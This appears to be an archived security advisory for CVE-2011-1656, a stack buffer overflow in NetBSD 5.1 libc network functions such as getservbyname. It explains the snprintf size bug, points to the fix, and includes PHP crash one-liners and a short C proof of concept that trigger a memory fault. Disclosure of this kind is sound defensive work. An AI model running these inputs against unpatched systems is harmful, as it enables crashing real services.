what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NetBSD 5.1 libc/net Stack Buffer Overflow

NetBSD 5.1 libc/net Stack Buffer Overflow
Posted Jul 1, 2011
Authored by Maksymilian Arciemowicz

NetBSD version 5.1 libc/net suffers from multiple buffer overflow vulnerabilities.

tags | exploit, overflow, vulnerability
systems | netbsd
advisories | CVE-2011-1656
SHA-256 | 41dc13e14f5bb04dc98558705af4a4ffaa1774d45a59d6fb6682a19250cf3d47

NetBSD 5.1 libc/net Stack Buffer Overflow

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ NetBSD 5.1 libc/net multiple functions stack buffer overflow ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/

Date:
- - Dis.: 01.04.2011
- - Pub.: 01.07.2011

CVE: CVE-2011-1656
CWE: CWE-121

Affected software:
- - NetBSD 5.1 (fixed)

Affected functions:
- - getservbyname(3)
- - getservbyname_r(3)
- - getservbyport(3)
- - getservbyport_r(3)
- - getaddrinfo(3)
- - getnameinfo(3)

Original URL:
http://securityreason.com/achievement_securityalert/99


- --- 0.Description ---
The getservbyname(), and getservbyport() functions each return a pointer
to an object with the following structure containing the broken-out
fields of a line in the network services data base,

struct servent *
getservbyname(const char *name, const char *proto);

struct servent *
getservbyport(int port, const char *proto);

The getservbyname() and getservbyport() functions sequentially search
from the beginning of the file until a matching protocol name or port
number is found, or until EOF is encountered. If a protocol name is
also supplied (non-NULL), searches must also match the protocol.


- --- 1. NetBSD 5.1 libc/net multiple functions stack buffer overflow ---
The main problem exists in files like getservbyname_r.c and
getservbyport_r.c. Functions getservbyname*(3), getservbyport*(3) and
getaddrinfo(3) of NetBSD libc implementation, provides to possible
buffer overflow. To demonstrate this issue, we may use PHP as an attack
vector.

127# php -r 'getservbyname("A",str_repeat("A",7108));'
127# php -r 'getservbyname("A",str_repeat("A",7109));'
Memory fault (core dumped)

- -php-5.3.6/ext/standard/basic_functions.c---
PHP_FUNCTION(getservbyname)
{
char *name, *proto;
int name_len, proto_len;
struct servent *serv;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &name,
&name_len, &proto, &proto_len) == FAILURE) {
return;
}
...
serv = getservbyname(name, proto); <==== CALL TO LIBC
- -php-5.3.6/ext/standard/basic_functions.c---

BT:
#0 0xbb8b2d65 in __log2 () from /usr/lib/libc.so.12
#1 0xbb8afa2e in __call_hash () from /usr/lib/libc.so.12
#2 0xbb8b0ebd in __hash_open () from /usr/lib/libc.so.12
#3 0xbb8884c2 in getservbyname_r () from /usr/lib/libc.so.12
#4 0xbb822f6f in getservbyname () from /usr/lib/libc.so.12
#5 0x08334458 in php_get_highlight_struct ()

Let's see what is wrong with getservbyname().

- -getservbyname.c---
struct servent *
getservbyname(const char *name, const char *proto)
{
struct servent *s;

mutex_lock(&_servent_mutex);
s = getservbyname_r(name, proto, &_servent_data.serv, &_servent_data);
<=== REFERENCE
mutex_unlock(&_servent_mutex);
return (s);
}
- -getservbyname.c---

as we can see, getservbyname(3) redirect to getservbyname_r(3) function.

- -getservbyname_r.c---
if (sd->flags & _SV_DB) {
char buf[BUFSIZ];
DBT key, data;
DB *db = sd->db;
key.data = buf;

if (proto == NULL)
key.size = snprintf(buf, sizeof(buf), "\376%s", name); <===== INVALID
key.size HERE
else
key.size = snprintf(buf, sizeof(buf), "\376%s/%s", <===== INVALID
key.size HERE
name, proto);
key.size++;

if ((*db->get)(db, &key, &data, 0) != 0)
return NULL;

if ((*db->get)(db, &data, &key, 0) != 0)
return NULL;
- -getservbyname_r.c---

key.size may be bigger as BUFSIZ.

snprintf(3) return number of characters that would have been written had
size been sufficiently large (not counting the terminating null). In
this case, snprintf(3) return bigger value as sizeof(buf). In older libc
implementations, snprintf(3) should return -1, if the string is truncated.

The same problem is with getservbyport_r(3).

- -getservbyname_r.c---
if (sd->flags & _SV_DB) {
char buf[BUFSIZ];
DBT key, data;
DB *db = sd->db;
key.data = buf;

port = htons(port);
if (proto == NULL)
key.size = snprintf(buf, sizeof(buf), "\377%d", port); <===== INVALID
key.size HERE
else
key.size = snprintf(buf, sizeof(buf), "\377%d/%s", port, <=====
INVALID key.size HERE
proto);
key.size++;

if ((*db->get)(db, &key, &data, 0) != 0)
return NULL;

if ((*db->get)(db, &data, &key, 0) != 0)
return NULL;
- -getservbyname_r.c---

And the last PoC:
- -PoC---
/*
127# gcc -o grr grr.c && ./grr 6050
127# gcc -o grr grr.c && ./grr 6051
Memory fault (core dumped)
127#


*/
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

int main(int argc, char *argv[]){
char *cycek;
cycek=malloc(atoi(argv[1]));

if(!cycek) return 1;
memset(cycek,'A',atoi(argv[1]));

getservbyname(cycek,"tcp");

return 0;
}
- -PoC---

NetBSD has fixed this issue. Use cvs netbsd-5-1 and netbsd-5-0 to up-to
date your system.

There are no others vulnerable libc implementations. Only FreeBSD 8.2
use wrong snprintf(3) in getservent.c

http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libc/net/getservent.c?rev=1.23.10.3.4.1;content-type=text%2Fplain

GNU libc may give problem with alloca().


- --- 2. Fix ---
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyname_r.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyport_r.c

NetBSD CVS tags:
- - netbsd-5-1
- - netbsd-5-0
- - netbsd-5


- --- 3. Greets ---
Christos Zoulas, sp3x, Infospec


- --- 4. Contact ---
Author: Maksymilian Arciemowicz

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

- --
Best Regards
pub 4096R/D6E5B530 2010-09-19
uid Maksymilian Arciemowicz (cx) <max@cxib.net>
sub 4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJODbm3AAoJEIO8+dzW5bUwV/cP/jqbh+y5WlQ899d+gs9c83Kl
Xo9D/FtJz/iwIUgW5Kc9dsIJ5FAOVjPO2xiSxDT/+giBx0BKqXaAUMoCUsgjBh40
ODqfCmAbCLS34AUKFYDHsNjxV76SPTIzJ28T3+i2U6FWbrVRjyj9+otCvu7lL0x5
IdyNs2x/n2utW1OP8oKDODgDUcykwJh1111Lh2GBMSp8OCfUaFiW5PNvnkLODJGz
AC2y0NtDmZjQrQwUIHPvSdkV+tKEgo+30IlgWHTHSBzH8Ti38P7VNSD/+EXgH6ER
TUjE5spiS35WGPAEbwVv9Z4AZDtzTn5tPdI7KZCsjugRB0isuHRGlpuZDo/nChul
SdUWgAGtmcD7XE8Bvs917smPfEi+XNlbfqMwAODJ6ov1bXUW4YE6KO1fMEu/p6av
7mFp6HXmJS+11LH6snKrgOW9uV8HHF8+ty8uuc5Lmv2v3Eg1IHLvOKISls7MRI/M
zri9AsNxNfcNHpfumOTF28UbWWPr4XAAMN1UfiCznC+rYbp629mSzP7iwdZz825v
1HrNEvhCG3p/3Rnn7p0PWIKxJtXKgR3GYFySSqZKWpLXTXpMtXGLBcv4YeYVr+3z
XA0ImPz/z0JBu1jnwtDQZW1JdhdYVVPdMhOvOhTvTEc8NXxNH+zJZ4xClBAiSBNj
+CmfTIrwi4QJxhrXGAu7
=YeRU
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close